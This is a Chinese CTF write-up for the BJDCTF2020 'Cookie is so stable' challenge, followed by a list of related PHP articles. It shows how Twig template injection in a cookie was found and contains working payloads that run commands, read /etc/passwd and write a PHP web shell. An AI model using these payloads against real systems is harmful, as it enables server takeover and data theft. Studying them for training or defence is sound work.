[BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)

简介: [BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)

信息收集

hint页面

<!-- Why not take a closer look at cookies? -->

flag页面

输入任意内容(这里输入admin)

这里第一反应是cookie类的SQL注入?但是发现这里其实并没有实现查询信息的功能,只是将输入的内容进行打印,看下前端源码,可能是SSTI!

修改cookie

${7*7}----------{{7*7}}---------{{7*'7'}}

确认是SSTI(PHP),根据上文的流程表判定类型是Twig

在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range()函数用来返回一个包含整数等差数列的列表:

{% for i in range(0, 3) %}{{ i }},{% endfor %}

在twig 1.x版本,存在三个全局变量

  • _self:引用当前模板实例
  • _context:引用上下文
  • _charset:引用当前字符集

命令执行

payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这里可以直接修改cookie,因为直接提交会被拦截

当然flag在根目录下是猜的,我们使用命令返回的结果只有第一项

一些新版本的payload

1. {{'/etc/passwd'|file_excerpt(1,30)}}
2. 
3. {{app.request.files.get(1).__construct('/etc/passwd','')}}
4. 
5. {{app.request.files.get(1).openFile.fread(99)}}
6. 
7. {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
8. 
9. {{_self.env.enableDebug()}}{{_self.env.isDebug()}}
10. 
11. {{["id"]|map("system")|join(",")
12. 
13. {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
14. 
15. {{["id",0]|sort("system")|join(",")}}
16. 
17. {{["id"]|filter("system")|join(",")}}
18. 
19. {{[0,0]|reduce("system","id")|join(",")}}
20. 
21. {{['cat /etc/passwd']|filter('system')}}

reference

https://xz.aliyun.com/t/7518#toc-5

https://www.freebuf.com/articles/web/314028.html

https://www.cnblogs.com/bmjoker/p/13508538.html

[BJDCTF2020]Cookie is so stable | 信安小蚂蚁

目录
相关文章
|
11天前
|
缓存 安全 PHP
【PHP开发专栏】Twig模板引擎在PHP中的应用
【4月更文挑战第30天】Twig是Fabien Potencier开发的PHP模板引擎,以其易读性、可扩展性、安全性和高性能著称。文章分三部分介绍:1) 通过Composer安装Twig;2) 学习基本语法,如变量、表达式、标签和过滤器;3) 在Symfony和Laravel框架及独立PHP项目中应用Twig。示例展示了如何渲染模板、使用for和if标签,以及在不同框架中整合Twig。
|
JavaScript PHP Python
PHP:使用rcrowe/twigbridge在Laravel中使用Twig模板引擎
PHP:使用rcrowe/twigbridge在Laravel中使用Twig模板引擎
70 0
PHP:ThinkPHP使用Twig渲染html
PHP:ThinkPHP使用Twig渲染html
131 0
|
8月前
|
关系型数据库 MySQL PHP
PHP 原生操作 Mysql
PHP 原生操作 Mysql
82 0
|
8月前
|
关系型数据库 MySQL 数据库连接
PHP 原生连接 Mysql
PHP 原生连接 Mysql
108 0
|
8月前
|
关系型数据库 MySQL Unix
PHP MySql 安装与连接
PHP MySql 安装与连接
135 0
|
4月前
|
关系型数据库 MySQL PHP
|
11天前
|
关系型数据库 MySQL PHP
【PHP 开发专栏】PHP 连接 MySQL 数据库的方法
【4月更文挑战第30天】本文介绍了 PHP 连接 MySQL 的两种主要方法:mysqli 和 PDO 扩展,包括连接、查询和处理结果的基本步骤。还讨论了连接参数设置、常见问题及解决方法,如连接失败、权限和字符集问题。此外,提到了高级技巧如使用连接池和缓存连接信息以优化性能。最后,通过实际案例分析了在用户登录系统和数据管理中的应用。
|
26天前
|
PHP
web简易开发——通过php与HTML+css+mysql实现用户的登录,注册
web简易开发——通过php与HTML+css+mysql实现用户的登录,注册
|
8月前
|
关系型数据库 MySQL 数据库连接
PHP 原生操作 Mysql 增删改查案例
PHP 原生操作 Mysql 增删改查案例
88 0